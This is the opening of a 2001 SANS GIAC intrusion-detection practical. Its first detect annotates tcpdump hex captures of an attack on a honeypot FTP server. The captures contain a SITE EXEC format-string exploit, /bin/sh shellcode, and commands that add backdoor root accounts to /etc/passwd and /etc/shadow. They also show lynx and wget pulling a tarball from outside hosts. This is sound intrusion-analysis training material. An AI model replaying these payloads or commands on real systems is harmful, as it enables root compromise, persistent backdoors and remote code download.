Global Information Assurance Certification Paper

GIAC Network Intrusion Detection GCIA Practical **Byron Thatcher**

SANS Aloha, Honolulu Hawaii **February-March 2001**

Assignment #1: 5 Network Detections

Detect #1 FTP Buffer Overflow (port 21)

(Note: Underlined and highlighted text below marks important text.)

```
13:59:28.871154 194.212.8.14.1036 > honey.net.21: S [tcp
sum ok] 4018272126:4018272126(0) win 32120 <mss
1460,sackOK,timestamp 17738338 0,nop,wscale 0> (DF) (ttl
49, id 50213, len 60)
0x0000     4500 003c c425 4000 3106 31b2 c2d4 080e
     E..<.%@.1.1.....
0x0010     180d 70f5 040c 0015 ef81 f77e 0000 0000
     ..p........~....
0x0020     a002 7d78 e017 0000 0204 05b4 0402 080a
     ..}x............
0x0030     010e aa62 0000 0000 0103 0300
     ...b........
13:59:28.905549 honey.net.21 > 194.212.8.14.1036: S [tcp
sum ok] 2747352041:2747352041(0) ack 4018272127 win 32120
<mss 1460,sackOK,timestamp 360484284 17738338,nop,wscale 0>
(DF) (ttl 64, id 33847, len 60)
0x0000     4500 003c 8437 4000 4006 62a0 180d 70f5
     E..<.7@.@.b...p.
0x0010     c2d4 080e 0015 040c a3c1 43e9 ef81 f77f
     ..........C.....
0x0020     a012 7d78 5523 0000 0204 05b4 0402 080a
     ..}xU#..........
0x0030     157c 8dbc 010e aa62 0103 0300
     .|.....b....
```

******** edited for brevity ***********

```
13:59:33.222676 194.212.8.14.1036 > honey.net.21: P [tcp
sum ok] 1:10(9) ack 98 win 32120 <nop,nop,timestamp
17738774 360484681> (DF) (ttl 49, id 50217, len 61)
0x0000     4500 003d c429 4000 3106 31ad c2d4 080e
     E..=.)@.1.1.....
0x0010     180d 70f5 040c 0015 ef81 f77f a3c1 444b
     ..p...........DK
```

```
0x0020     8018 7d78 46b9 0000 0101 080a 010e ac16
     ..}xF...........
0x0030     157c 8f49 5553 4552 2066 7470 0a
     .|.IUSER.ftp.
13:59:33.222755 honey.net.21 > 194.212.8.14.1036: . [tcp
sum ok] ack 10 win 32120 <nop,nop,timestamp 360484719
17738774> (DF) [tos 0x10]  (ttl 64, id 33852, len 52)
0x0000     4510 0034 843c 4000 4006 6293 180d 70f5
     E..4.<@.@.b...p.
0x0010     c2d4 080e 0015 040c a3c1 444b ef81 f788
     ..........DK....
0x0020     8010 7d78 8017 0000 0101 080a 157c 8f6f
     ..}x.........|.o
0x0030     010e ac16                                       ....

****** edited for brevity *********


13:59:33.656166 honey.net.21 > 194.212.8.14.1036: P [tcp
sum ok] 166:214(48) ack 24 win 32120 <nop,nop,timestamp
360484763 17738804> (DF) [tos 0x10]  (ttl 64, id 33855, len
100)
0x0000     4510 0064 843f 4000 4006 6260 180d 70f5
     E..d.?@.@.b`..p.
0x0010     c2d4 080e 0015 040c a3c1 448f ef81 f796
     ..........D.....
0x0020     8018 7d78 d35c 0000 0101 080a 157c 8f9b
     ..}x.\.......|..
0x0030     010e ac34 3233 3020 4775 6573 7420 6c6f
     ...4230.Guest.lo
0x0040     6769 6e20 6f6b 2c20 6163 6365 7373 2072
     gin.ok,.access.r
0x0050     6573 7472 6963 7469 6f6e 7320 6170 706c
     estrictions.appl
0x0060     792e 0d0a                                       y...

****** edited for brevity *********


13:59:34.337889 194.212.8.14.1036 > honey.net.21: P [tcp
sum ok] 48:464(416) ack 276 win 32120 <nop,nop,timestamp
17738884 360484812> (DF) (ttl 49, id 50222, len 468)
0x0000     4500 01d4 c42e 4000 3106 3011 c2d4 080e
     E.....@.1.0.....
0x0010     180d 70f5 040c 0015 ef81 f7ae a3c1 44fd
     ..p...........D.
```

```
0x0020     8018 7d78 bdbf 0000 0101 080a 010e ac84
     ..}x............
0x0030     157c 8fcc 5349 5445 2045 5845 4320 3720
     .|..SITE.EXEC.7.
0x0040     6d6d 6d6d 6e6e 6e6e 252e 6625 2e66 252e
     mmmmnnnn%.f%.f%.
0x0050     6625 2e66 252e 6625 2e66 252e 6625 2e66
     f%.f%.f%.f%.f%.f
0x0060     252e 6625 2e66 252e 6625 2e66 252e 6625
     %.f%.f%.f%.f%.f%
0x0070     2e66 252e 6625 2e66 252e 6625 2e66 252e
     .f%.f%.f%.f%.f%.
0x0080     6625 2e66 252e 6625 2e66 252e 6625 2e66
     f%.f%.f%.f%.f%.f
0x0090     252e 6625 2e66 252e 6625 2e66 252e 6625
     %.f%.f%.f%.f%.f%
0x00a0     2e66 252e 6625 2e66 252e 6625 2e66 252e
     .f%.f%.f%.f%.f%.
0x00b0     6625 2e66 252e 6625 2e66 252e 6625 2e66
     f%.f%.f%.f%.f%.f
0x00c0     252e 6625 2e66 252e 6625 2e66 252e 6625
     %.f%.f%.f%.f%.f%
0x00d0     2e66 252e 6625 2e66 252e 6625 2e66 252e
     .f%.f%.f%.f%.f%.
0x00e0     6625 2e66 252e 6625 2e66 252e 6625 2e66
     f%.f%.f%.f%.f%.f
0x00f0     252e 6625 2e66 252e 6625 2e66 252e 6625
     %.f%.f%.f%.f%.f%
0x0100     2e66 252e 6625 2e66 252e 6625 2e66 252e
     .f%.f%.f%.f%.f%.
0x0110     6625 2e66 252e 6625 2e66 252e 6625 2e66
     f%.f%.f%.f%.f%.f
0x0120     252e 6625 2e66 252e 6625 2e66 252e 6625
     %.f%.f%.f%.f%.f%
0x0130     2e66 252e 6625 2e66 252e 6625 2e66 252e
     .f%.f%.f%.f%.f%.
0x0140     6625 2e66 252e 6625 2e66 252e 6625 2e66
     f%.f%.f%.f%.f%.f
0x0150     252e 6625 2e66 252e 6625 2e66 252e 6625
     %.f%.f%.f%.f%.f%
0x0160     2e66 252e 6625 2e66 252e 6625 2e66 252e
     .f%.f%.f%.f%.f%.
0x0170     6625 2e66 252e 6625 2e66 252e 6625 2e66
     f%.f%.f%.f%.f%.f
0x0180     252e 6625 2e66 252e 6625 2e66 252e 6625
     %.f%.f%.f%.f%.f%
```

```
0x0190     2e66 252e 6625 2e66 252e 6625 2e66 252e
     .f%.f%.f%.f%.f%.
0x01a0     6625 2e66 252e 6625 2e66 252e 6625 2e66
     f%.f%.f%.f%.f%.f
0x01b0     252e 6625 2e66 252e 6625 2e66 252e 6625
     %.f%.f%.f%.f%.f%
0x01c0     2e66 252e 6625 2e66 7c25 3038 787c 2530
     .f%.f%.f|%08x|%0
0x01d0     3878 7c0a                                       8x|.
```

***********(massive packets sent to port 21, the buffer overflow in action)**************
*********** edited for brevity ***********

```
13:59:55.894463 194.212.8.14.1036 > honey.net.21: P [tcp
sum ok] 15979:16128(149) ack 33581 win 32120
<nop,nop,timestamp 17741042 360486855> (DF) (ttl 49, id
50351, len 201)
0x0000     4500 00c9 c4af 4000 3106 309b c2d4 080e
     E.....@.1.0.....
0x0010     180d 70f5 040c 0015 ef82 35e9 a3c1 c716
     ..p.......5.....
0x0020     8018 7d78 344e 0000 0101 080a 010e b4f2
     ..}x4N..........
0x0030     157c 97c7 31c0 31db 31c9 b046 cd80 31c0
     .|..1.1.1..F..1.
0x0040     31db 4389 d941 b03f cd80 eb6b 5e31 c031
     1.C..A.?...k^1.1
0x0050     c98d 5e01 8846 0466 b9ff 01b0 27cd 8031
     ..^..F.f....'..1
0x0060     c08d 5e01 b03d cd80 31c0 31db 8d5e 0889
     ..^..=..1.1..^..
0x0070     4302 31c9 fec9 31c0 8d5e 08b0 0ccd 80fe
     C.1...1..^......
0x0080     c975 f331 c088 4609 8d5e 08b0 3dcd 80fe
     .u.1..F..^..=...
0x0090     0eb0 30fe c888 4604 31c0 8846 0789 7608
     ..0...F.1..F..v.
0x00a0     8946 0c89 f38d 4e08 8d56 0cb0 0bcd 8031
     .F....N..V.....1
0x00b0     c031 dbb0 01cd 80e8 90ff ffff 3062 696e
     .1..........0bin
0x00c0     3073 6831 2e2e 3131 0a
     0sh1..11.
13:59:55.913129 honey.net.21 > 194.212.8.14.1036: . [tcp
sum ok] ack 16128 win 31971 <nop,nop,timestamp 360486989
17741042> (DF) [tos 0x10]  (ttl 64, id 33934, len 52)
```

```
0x0000     4510 0034 848e 4000 4006 6241 180d 70f5
     E..4..@.@.bA..p.
0x0010     c2d4 080e 0015 040c a3c1 c716 ef82 367e
     ..............6~
0x0020     8010 7ce3 ad30 0000 0101 080a 157c 984d
     ..|..0.......|.M
0x0030     010e b4f2                                       ....
13:59:57.901835 194.212.8.14.1036 > honey.net.21: P [tcp
sum ok] 16128:16132(4) ack 33581 win 32120
<nop,nop,timestamp 17741243 360486989> (DF) (ttl 49, id
50352, len 56)
0x0000     4500 0038 c4b0 4000 3106 312b c2d4 080e
     E..8..@.1.1+....
0x0010     180d 70f5 040c 0015 ef82 367e a3c1 c716
     ..p.......6~....
0x0020     8018 7d78 0758 0000 0101 080a 010e b5bb
     ..}x.X..........
0x0030     157c 984d 6964 3b0a
     .|.Mid;.
13:59:57.913103 honey.net.21 > 194.212.8.14.1036: . [tcp
sum ok] ack 16132 win 32120 <nop,nop,timestamp 360487189
17741243> (DF) [tos 0x10]  (ttl 64, id 33935, len 52)
0x0000     4510 0034 848f 4000 4006 6240 180d 70f5
     E..4..@.@.b@..p.
0x0010     c2d4 080e 0015 040c a3c1 c716 ef82 3682
     ..............6.
0x0020     8010 7d78 ab06 0000 0101 080a 157c 9915
     ..}x.........|..
0x0030     010e b5bb                                       ....
13:59:57.992775 honey.net.21 > 194.212.8.14.1036: P [tcp
sum ok] 33581:33633(52) ack 16132 win 32120
<nop,nop,timestamp 360487196 17741243> (DF) [tos 0x10]
(ttl 64, id 33936, len 104)
0x0000     4510 0068 8490 4000 4006 620b 180d 70f5
     E..h..@.@.b...p.
0x0010     c2d4 080e 0015 040c a3c1 c716 ef82 3682
     ..............6.
0x0020     8018 7d78 05c1 0000 0101 080a 157c 991c
     ..}x.........|..
0x0030     010e b5bb 7569 643d 3028 726f 6f74 2920
     ....uid=0(root).
0x0040     6769 643d 3028 726f 6f74 2920 6567 6964
     gid=0(root).egid
0x0050     3d35 3028 6674 7029 2067 726f 7570 733d
     =50(ftp).groups=
0x0060     3530 2866 7470 290a
     50(ftp).
```

```
13:59:58.190706 194.212.8.14.1036 > honey.net.21: . [tcp
sum ok] ack 33633 win 32120 <nop,nop,timestamp 17741272
360487196> (DF) (ttl 49, id 50354, len 52)
0x0000     4500 0034 c4b2 4000 3106 312d c2d4 080e
     E..4..@.1.1-....
0x0010     180d 70f5 040c 0015 ef82 3682 a3c1 c74a
     ..p.......6....J
0x0020     8010 7d78 aaae 0000 0101 080a 010e b5d8
     ..}x............
0x0030     157c 991c                                       .|..
14:04:28.680301 194.212.8.14.1036 > honey.net.21: P [tcp
sum ok] 16132:16184(52) ack 33633 win 32120
<nop,nop,timestamp 17768330 360487196> (DF) (ttl 49, id
50368, len 104)
0x0000     4500 0068 c4c0 4000 3106 30eb c2d4 080e
     E..h..@.1.0.....
0x0010     180d 70f5 040c 0015 ef82 3682 a3c1 c74a
     ..p.......6....J
0x0020     8018 7d78 3362 0000 0101 080a 010f 1f8a
     ..}x3b..........
0x0030     157c 991c 6563 686f 2022 736f 7879 3a78
     .|..echo."soxy:x
0x0040     3a35 3030 3a35 3030 3a3a 2f74 6d70 3a2f
     :500:500::/tmp:/
0x0050     6269 6e2f 6261 7368 2220 3e3e 2f65 7463
     bin/bash".>>/etc
0x0060     2f70 6173 7377 640a
     /passwd.
14:04:28.693117 honey.net.21 > 194.212.8.14.1036: . [tcp
sum ok] ack 16184 win 32120 <nop,nop,timestamp 360514267
17768330> (DF) [tos 0x10]  (ttl 64, id 33937, len 52)
0x0000     4510 0034 8491 4000 4006 623e 180d 70f5
     E..4..@.@.b>..p.
0x0010     c2d4 080e 0015 040c a3c1 c74a ef82 36b6
     ..........J..6.
0x0020     8010 7d78 d708 0000 0101 080a 157d 02db
     ..}x.........}..
0x0030     010f 1f8a                                       ....
14:04:28.910404 194.212.8.14.1036 > honey.net.21: P [tcp
sum ok] 16184:16349(165) ack 33633 win 32120
<nop,nop,timestamp 17768353 360514267> (DF) (ttl 49, id
50369, len 217)
0x0000     4500 00d9 c4c1 4000 3106 3079 c2d4 080e
     E.....@.1.0y....
0x0010     180d 70f5 040c 0015 ef82 36b6 a3c1 c74a
     ..p.......6....J
```

```
0x0020     8018 7d78 f536 0000 0101 080a 010f 1fa1
     ..}x.6.........
0x0030     157d 02db 6563 686f 2022 6d65 3a78 3a30
     .}..echo."me:x:0
0x0040     3a30 3a3a 2f76 6172 2f6c 6f67 3a2f 6269
     :0::/var/log:/bi
0x0050     6e2f 6261 7368 223e 3e2f 6574 632f 7061
     n/bash">>/etc/pa
0x0060     7373 7764 0a0a 6563 686f 2022 736f 7879
     sswd..echo."soxy
0x0070     3a3a 3131 3336 393a 303a 3939 3939 393a
     ::11369:0:99999:
0x0080     373a 2d31 3a2d 313a 3133 3435 3338 3436     7:-
1:-1:13453846
0x0090     3022 3e3e 2f65 7463 2f73 6861 646f 770a
     0">>/etc/shadow.
0x00a0     6563 686f 2022 6d65 3a3a 3131 3336 313a
     echo."me::11361:
0x00b0     303a 3939 3939 393a 373a 2d31 3a2d 313a
     0:99999:7:-1:-1:
0x00c0     3133 3435 3337 3335 3622 203e 3e2f 6574
     134537356".>>/et
0x00d0     632f 7368 6164 6f77 0a
     c/shadow.
```

******* edited for brevity ***********

```
14:09:12.685892 194.212.8.14.1036 > honey.net.21: F [tcp
sum ok] 16421:16421(0) ack 34566 win 32120
<nop,nop,timestamp 17796741 360542447> (DF) (ttl 49, id
50454, len 52)
0x0000     4500 0034 c516 4000 3106 30c9 c2d4 080e
     E..4..@.1.0.....
0x0010     180d 70f5 040c 0015 ef82 37a3 a3c1 caef
     ..p.......7.....
0x0020     8011 7d78 f565 0000 0101 080a 010f 8e85
     ..}x.e..........
0x0030     157d 70ef                                       .}p.
14:09:12.685989 honey.net.21 > 194.212.8.14.1036: . [tcp
sum ok] ack 16422 win 32120 <nop,nop,timestamp 360542666
17796741> (DF) [tos 0x10]  (ttl 64, id 33958, len 52)
0x0000     4510 0034 84a6 4000 4006 6229 180d 70f5
     E..4..@.@.b)..p.
0x0010     c2d4 080e 0015 040c a3c1 caef ef82 37a4
     ..............7.
0x0020     8010 7d78 f48a 0000 0101 080a 157d 71ca
     ..}x.........}q.
```

```
0x0030     010f 8e85                                         ....
14:09:12.686391 honey.net.21 > 194.212.8.14.1036: F [tcp
sum ok] 34566:34566(0) ack 16422 win 32120
<nop,nop,timestamp 360542666 17796741> (DF) [tos 0x10]
(ttl 64, id 33959, len 52)
0x0000     4510 0034 84a7 4000 4006 6228 180d 70f5
     E..4..@.@.b(..p.
0x0010     c2d4 080e 0015 040c a3c1 caef ef82 37a4
     ..............7.
0x0020     8011 7d78 f489 0000 0101 080a 157d 71ca
     ..}x.........}q.
0x0030     010f 8e85                                         ....
14:09:13.102687 194.212.8.14.1036 > honey.net.21: . [tcp
sum ok] ack 34567 win 32120 <nop,nop,timestamp 17796783
360542666> (DF) (ttl 49, id 50455, len 52)
0x0000     4500 0034 c517 4000 3106 30c8 c2d4 080e
     E..4..@.1.0.....
0x0010     180d 70f5 040c 0015 ef82 37a4 a3c1 caf0
     ..p.......7.....
0x0020     8010 7d78 f45f 0000 0101 080a 010f 8eaf
     ..}x._..........
0x0030     157d 71ca                                         .}q.
```

**********Time passes and someone tries telnet**********

```
14:09:29.402867 209.239.75.139.1903 > honey.net.23: S [tcp
sum ok] 124097670:124097670(0) win 8192 <mss
1460,nop,nop,sackOK> (DF) [tos 0xa0]  (ttl 106, id 56884,
len 48)
0x0000     45a0 0030 de34 4000 6a06 8b76 d1ef 4b8b
     E..0.4@.j..v..K.
0x0010     180d 70f5 076f 0017 0765 9486 0000 0000
     ..p..o...e......
0x0020     7002 2000 1931 0000 0204 05b4 0101 0402
     p....1..........
14:09:29.402984 honey.net.23 > 209.239.75.139.1903: R [tcp
sum ok] 0:0(0) ack 124097671 win 0 [tos 0xa0]  (ttl 255, id
33960, len 40)
0x0000     45a0 0028 84a8 0000 ff06 900a 180d 70f5
     E..(..........p.
0x0010     d1ef 4b8b 0017 076f 0000 0000 0765 9487
     ..K....o.....e..
0x0020     5014 0000 65e1 0000
     P...e...
14:09:30.285573 209.239.75.139.1903 > honey.net.23: S [tcp
sum ok] 124097670:124097670(0) win 8192 <mss
```

```
1460,nop,nop,sackOK> (DF) [tos 0xa0]  (ttl 106, id 58420,
len 48)
0x0000     45a0 0030 e434 4000 6a06 8576 d1ef 4b8b
     E..0.4@.j..v..K.
0x0010     180d 70f5 076f 0017 0765 9486 0000 0000
     ..p..o...e......
0x0020     7002 2000 1931 0000 0204 05b4 0101 0402
     p....1..........
14:09:30.285626 honey.net.23 > 209.239.75.139.1903: R [tcp
sum ok] 0:0(0) ack 1 win 0 [tos 0xa0]  (ttl 255, id 33962,
len 40)
0x0000     45a0 0028 84aa 0000 ff06 9008 180d 70f5
     E..(..........p.
0x0010     d1ef 4b8b 0017 076f 0000 0000 0765 9487
     ..K....o.....e..
0x0020     5014 0000 65e1 0000
     P...e...
14:09:31.183992 209.239.75.139.1903 > honey.net.23: S [tcp
sum ok] 124097670:124097670(0) win 8192 <mss
1460,nop,nop,sackOK> (DF) [tos 0xa0]  (ttl 106, id 59956,
len 48)
0x0000     45a0 0030 ea34 4000 6a06 7f76 d1ef 4b8b
     E..0.4@.j..v..K.
0x0010     180d 70f5 076f 0017 0765 9486 0000 0000
     ..p..o...e......
0x0020     7002 2000 1931 0000 0204 05b4 0101 0402
     p....1..........
14:09:31.184072 honey.net.23 > 209.239.75.139.1903: R [tcp
sum ok] 0:0(0) ack 1 win 0 [tos 0xa0]  (ttl 255, id 33963,
len 40)
0x0000     45a0 0028 84ab 0000 ff06 9007 180d 70f5
     E..(..........p.
0x0010     d1ef 4b8b 0017 076f 0000 0000 0765 9487
     ..K....o.....e..
0x0020     5014 0000 65e1 0000
     P...e...
14:09:32.090933 209.239.75.139.1903 > honey.net.23: S [tcp
sum ok] 124097670:124097670(0) win 8192 <mss
1460,nop,nop,sackOK> (DF) [tos 0xa0]  (ttl 106, id 60468,
len 48)
0x0000     45a0 0030 ec34 4000 6a06 7d76 d1ef 4b8b
     E..0.4@.j.}v..K.
0x0010     180d 70f5 076f 0017 0765 9486 0000 0000
     ..p..o...e......
0x0020     7002 2000 1931 0000 0204 05b4 0101 0402
     p....1..........
```

```
14:09:32.091014 honey.net.23 > 209.239.75.139.1903: R [tcp
sum ok] 0:0(0) ack 1 win 0 [tos 0xa0]  (ttl 255, id 33964,
len 40)
0x0000     45a0 0028 84ac 0000 ff06 9006 180d 70f5
     E..(..........p.
0x0010     d1ef 4b8b 0017 076f 0000 0000 0765 9487
     ..K....o.....e..
0x0020     5014 0000 65e1 0000
     P...e...
```

*******After they were unsuccessful, our buffer person is back*****************

```
15:51:28.543758 194.212.8.14.1052 > honey.net.21: S [tcp
sum ok] 2537457259:2537457259(0) win 32120 <mss
1460,sackOK,timestamp 18410550 0,nop,wscale 0> (DF) (ttl
49, id 53813, len 60)
0x0000     4500 003c d235 4000 3106 23a2 c2d4 080e
     E..<.5@.1.#.....
0x0010     180d 70f5 041c 0015 973e 866b 0000 0000
     ..p......>.k....
0x0020     a002 7d78 6780 0000 0204 05b4 0402 080a
     ..}xg...........
0x0030     0118 ec36 0000 0000 0103 0300
     ...6........
15:51:28.543854 honey.net.21 > 194.212.8.14.1052: S [tcp
sum ok] 1250417099:1250417099(0) ack 2537457260 win 32120
<mss 1460,sackOK,timestamp 361156252 18410550,nop,wscale 0>
(DF) (ttl 64, id 34082, len 60)
0x0000     4500 003c 8522 4000 4006 61b5 180d 70f5
     E..<."@.@.a...p.
0x0010     c2d4 080e 0015 041c 4a87 d9cb 973e 866c
     ........J....>.l
0x0020     a012 7d78 5ef9 0000 0204 05b4 0402 080a
     ..}x^...........
0x0030     1586 ce9c 0118 ec36 0103 0300
     .......6....
```

******** edited for brevity ***********

```
15:51:35.305442 194.212.8.14.1052 > honey.net.21: P [tcp
sum ok] 24:535(511) ack 214 win 32120 <nop,nop,timestamp
18411225 361156913> (DF) (ttl 49, id 53821, len 563)
0x0000     4500 0233 d23d 4000 3106 21a3 c2d4 080e
     E..3.=@.1.!.....
0x0010     180d 70f5 041c 0015 973e 8683 4a87 daa1
     ..p......>..J...
```

```
0x0020     8018 7d78 b59e 0000 0101 080a 0118 eed9
     ..}x............
0x0030     1586 d131 5349 5445 2045 5845 4320 3720
     ...1SITE.EXEC.7.
0x0040     3cde ffff bf25 2e66 252e 6625 2e66 252e
     <....%.f%.f%.f%.
0x0050     6625 2e66 252e 6625 2e66 252e 6625 2e66
     f%.f%.f%.f%.f%.f
0x0060     252e 6625 2e66 252e 6625 2e66 252e 6625
     %.f%.f%.f%.f%.f%
0x0070     2e66 252e 6625 2e66 252e 6625 2e66 252e
     .f%.f%.f%.f%.f%.
0x0080     6625 2e66 252e 6625 2e66 252e 6625 2e66
     f%.f%.f%.f%.f%.f
0x0090     252e 6625 2e66 252e 6625 2e66 252e 6625
     %.f%.f%.f%.f%.f%
0x00a0     2e66 252e 6625 2e66 252e 6625 2e66 252e
     .f%.f%.f%.f%.f%.
0x00b0     6625 2e66 252e 6625 2e66 252e 6625 2e66
     f%.f%.f%.f%.f%.f
0x00c0     252e 6625 2e66 252e 6625 2e66 252e 6625
     %.f%.f%.f%.f%.f%
0x00d0     2e66 252e 6625 2e66 252e 6625 2e66 252e
     .f%.f%.f%.f%.f%.
0x00e0     6625 2e66 252e 6625 2e66 252e 6625 2e66
     f%.f%.f%.f%.f%.f
0x00f0     252e 6625 2e66 252e 6625 2e66 252e 6625
     %.f%.f%.f%.f%.f%
0x0100     2e66 252e 6625 2e66 252e 6625 2e66 252e
     .f%.f%.f%.f%.f%.
0x0110     6625 2e66 252e 6625 2e66 252e 6625 2e66
     f%.f%.f%.f%.f%.f
0x0120     252e 6625 2e66 252e 6625 2e66 252e 6625
     %.f%.f%.f%.f%.f%
0x0130     2e66 252e 6625 2e66 252e 6625 2e66 252e
     .f%.f%.f%.f%.f%.
0x0140     6625 2e66 252e 6625 2e66 252e 6625 2e66
     f%.f%.f%.f%.f%.f
0x0150     252e 6625 2e66 252e 6625 2e66 252e 6625
     %.f%.f%.f%.f%.f%
0x0160     2e66 252e 6625 2e66 252e 6625 2e66 252e
     .f%.f%.f%.f%.f%.
0x0170     6625 2e66 252e 6625 2e66 252e 6625 2e66
     f%.f%.f%.f%.f%.f
0x0180     252e 6625 2e66 252e 6625 2e66 252e 6625
     %.f%.f%.f%.f%.f%
```

```
0x0190     2e66 252e 6625 2e66 252e 6625 2e66 252e
     .f%.f%.f%.f%.f%.
0x01a0     6625 2e66 252e 6625 2e66 252e 6625 2e66
     f%.f%.f%.f%.f%.f
0x01b0     252e 6625 2e66 252e 6625 2e66 252e 6625
     %.f%.f%.f%.f%.f%
0x01c0     2e66 252e 6625 2e66 252e 6625 2e66 252e
     .f%.f%.f%.f%.f%.
0x01d0     6625 2e66 252e 6625 2e66 252e 6625 2e66
     f%.f%.f%.f%.f%.f
0x01e0     2564 5f5f 5f5f 5f5f 5f5f 5f5f 5f5f 5f5f
     %d
0x01f0     5f5f 5f5f 5f5f 5f5f 5f5f 5f5f 5f5f 5f5f

0x0200     5f5f 5f5f 5f5f 5f5f 5f5f 5f5f 5f5f 5f5f

0x0210     5f5f 5f5f 5f5f 5f5f 5f5f 5f5f 5f5f 5f5f

0x0220     5f5f 5f5f 5f5f 5f5f 2525 7c78 7c25 2e37
             %%|x|%.7
0x0230     3073 0a                                          0s.
```

****************** buffer overflow worked after second time ********************

```
15:52:08.543082 194.212.8.14.1052 > honey.net.21: P [tcp
sum ok] 18814:18963(149) ack 43514 win 32120
<nop,nop,timestamp 18414551 361160173> (DF) (ttl 49, id
53973, len 201)
0x0000     4500 00c9 d2d5 4000 3106 2275 c2d4 080e
     E.....@.1."u....
0x0010     180d 70f5 041c 0015 973e cfe9 4a88 83c5
     ..p......>..J...
0x0020     8018 7d78 01ed 0000 0101 080a 0118 fbd7
     ..}x............
0x0030     1586 dded 31c0 31db 31c9 b046 cd80 31c0
     ....1.1.1..F..1.
0x0040     31db 4389 d941 b03f cd80 eb6b 5e31 c031
     1.C..A.?...k^1.1
0x0050     c98d 5e01 8846 0466 b9ff 01b0 27cd 8031
     ..^..F.f....'..1
0x0060     c08d 5e01 b03d cd80 31c0 31db 8d5e 0889
     ..^..=..1.1..^..
0x0070     4302 31c9 fec9 31c0 8d5e 08b0 0ccd 80fe
     C.1...1..^......
0x0080     c975 f331 c088 4609 8d5e 08b0 3dcd 80fe
     .u.1..F..^..=...
```

```
0x0090     0eb0 30fe c888 4604 31c0 8846 0789 7608
     ..0...F.1..F..v.
0x00a0     8946 0c89 f38d 4e08 8d56 0cb0 0bcd 8031
     .F....N..V.....1
0x00b0     c031 dbb0 01cd 80e8 90ff ffff 3062 696e
     .1..........0bin
0x00c0     3073 6831 2e2e 3131 0a
     0sh1..11.
```

******** edited for brevity ***********

```
15:53:33.619326 194.212.8.14.1052 > honey.net.21: P [tcp
sum ok] 18969:18987(18) ack 44021 win 32120
<nop,nop,timestamp 18423062 361168066> (DF) (ttl 49, id
53998, len 70)
0x0000     4500 0046 d2ee 4000 3106 22df c2d4 080e
     E..F..@.1.".....
0x0010     180d 70f5 041c 0015 973e d084 4a88 85c0
     ..p......>..J...
0x0020     8018 7d78 c0e6 0000 0101 080a 0119 1d16
     ..}x............
0x0030     1586 fcc2 6364 202f 7573 722f 6c6f 6361
     ....cd./usr/loca
0x0040     6c2f 6269 6e0a
     l/bin.
```

********* edited for brevity ***********

```
15:53:59.373798 194.212.8.14.1052 > honey.net.21: P [tcp
sum ok] 18990:19029(39) ack 44021 win 32120
<nop,nop,timestamp 18425638 361168951> (DF) (ttl 49, id
54036, len 91)
0x0000     4500 005b d314 4000 3106 22a4 c2d4 080e
     E..[..@.1."".....
0x0010     180d 70f5 041c 0015 973e d099 4a88 85c0
     ..p......>..J...
0x0020     8018 7d78 6007 0000 0101 080a 0119 2726
     ..}x`.........'&
0x0030     1587 0037 6c79 6e78 202d 736f 7572 6365
     ...7lynx.-source
0x0040     2031 3934 2e32 3132 2e38 2e31 342f 6d2e
     .194.212.8.14/m.
0x0050     7467 7a20 3e6d 2e74 677a 0a
     tgz.>m.tgz.
```

********** edited for brevity ************

```
15:55:14.939683 194.212.8.14.1052 > honey.net.21: P [tcp
sum ok] 19106:19130(24) ack 44397 win 32120
<nop,nop,timestamp 18433197 361177426> (DF) (ttl 49, id
54142, len 76)
0x0000     4500 004c d37e 4000 3106 2249 c2d4 080e
     E..L.~@.1."I....
0x0010     180d 70f5 041c 0015 973e d10d 4a88 8738
     ..p......>..J..8
0x0020     8018 7d78 6488 0000 0101 080a 0119 44ad
     ..}xd.........D.
0x0030     1587 2152 7767 6574 2031 3934 2e32 3132
     ..!Rwget.194.212
0x0040     2e34 2e31 382f 6d2e 7467 7a0a
     .4.18/m.tgz.
15:55:14.945699 honey.net.21 > 194.212.8.14.1052: P [tcp
sum ok] 44397:44464(67) ack 19130 win 32120
<nop,nop,timestamp 361178892 18433197> (DF) [tos 0x10]
(ttl 64, id 34214, len 119)
0x0000     4510 0077 85a6 4000 4006 60e6 180d 70f5
     E..w..@.@.`...p.
0x0010     c2d4 080e 0015 041c 4a88 8738 973e d125
     ........J..8.>.%
0x0020     8018 7d78 87be 0000 0101 080a 1587 270c
     ..}x..........'.
0x0030     0119 44ad 2d2d 3135 3a35 353a 3134 2d2d
     ..D.--15:55:14--
0x0040     2020 6874 7470 3a2f 2f31 3934 2e32 3132
     ..http://194.212
0x0050     2e34 2e31 383a 3830 2f6d 2e74 677a 0a20
     .4.18:80/m.tgz..
0x0060     2020 2020 2020 2020 2020 3d3e 2060 6d2e
     ..........=>.`m.
0x0070     7467 7a2e 3127 0a
     tgz.1'.

****** edited for brevity *********

15:55:14.946183 honey.net.2736 > 194.212.4.18.80: S [tcp
sum ok] 1479037909:1479037909(0) win 32120 <mss
1460,sackOK,timestamp 361178892 0,nop,wscale 0> (DF) (ttl
64, id 34215, len 60)
0x0000     4500 003c 85a7 4000 4006 652c 180d 70f5
     E..<..@.@.e,..p.
0x0010     c2d4 0412 0ab0 0050 5828 53d5 0000 0000
     .......PX(S.....
0x0020     a002 7d78 8715 0000 0204 05b4 0402 080a
     ..}x............
```

```
0x0030     1587 270c 0000 0000 0103 0300
     ..'.........
15:55:17.943105 honey.net.2736 > 194.212.4.18.80: S [tcp
sum ok] 1479037909:1479037909(0) win 32120 <mss
1460,sackOK,timestamp 361179192 0,nop,wscale 0> (DF) (ttl
64, id 34218, len 60)
0x0000     4500 003c 85aa 4000 4006 6529 180d 70f5
     E..<..@.@.e)..p.
0x0010     c2d4 0412 0ab0 0050 5828 53d5 0000 0000
     .......PX(S.....
0x0020     a002 7d78 85e9 0000 0204 05b4 0402 080a
     ..}x............
0x0030     1587 2838 0000 0000 0103 0300
     ..(8........
15:55:23.943104 honey.net.2736 > 194.212.4.18.80: S [tcp
sum ok] 1479037909:1479037909(0) win 32120 <mss
1460,sackOK,timestamp 361179792 0,nop,wscale 0> (DF) (ttl
64, id 34219, len 60)
0x0000     4500 003c 85ab 4000 4006 6528 180d 70f5
     E..<..@.@.e(..p.
0x0010     c2d4 0412 0ab0 0050 5828 53d5 0000 0000
     .......PX(S.....
0x0020     a002 7d78 8391 0000 0204 05b4 0402 080a
     ..}x............
0x0030     1587 2a90 0000 0000 0103 0300
     ..*.........
```

******** edited for brevity ***********

```
15:55:15.110845 honey.net.21 > 194.212.8.14.1052: P [tcp
sum ok] 44464:44497(33) ack 19130 win 32120
<nop,nop,timestamp 361178908 18433215> (DF) [tos 0x10]
(ttl 64, id 34217, len 85)
0x0000     4510 0055 85a9 4000 4006 6105 180d 70f5
     E..U..@.@.a...p.
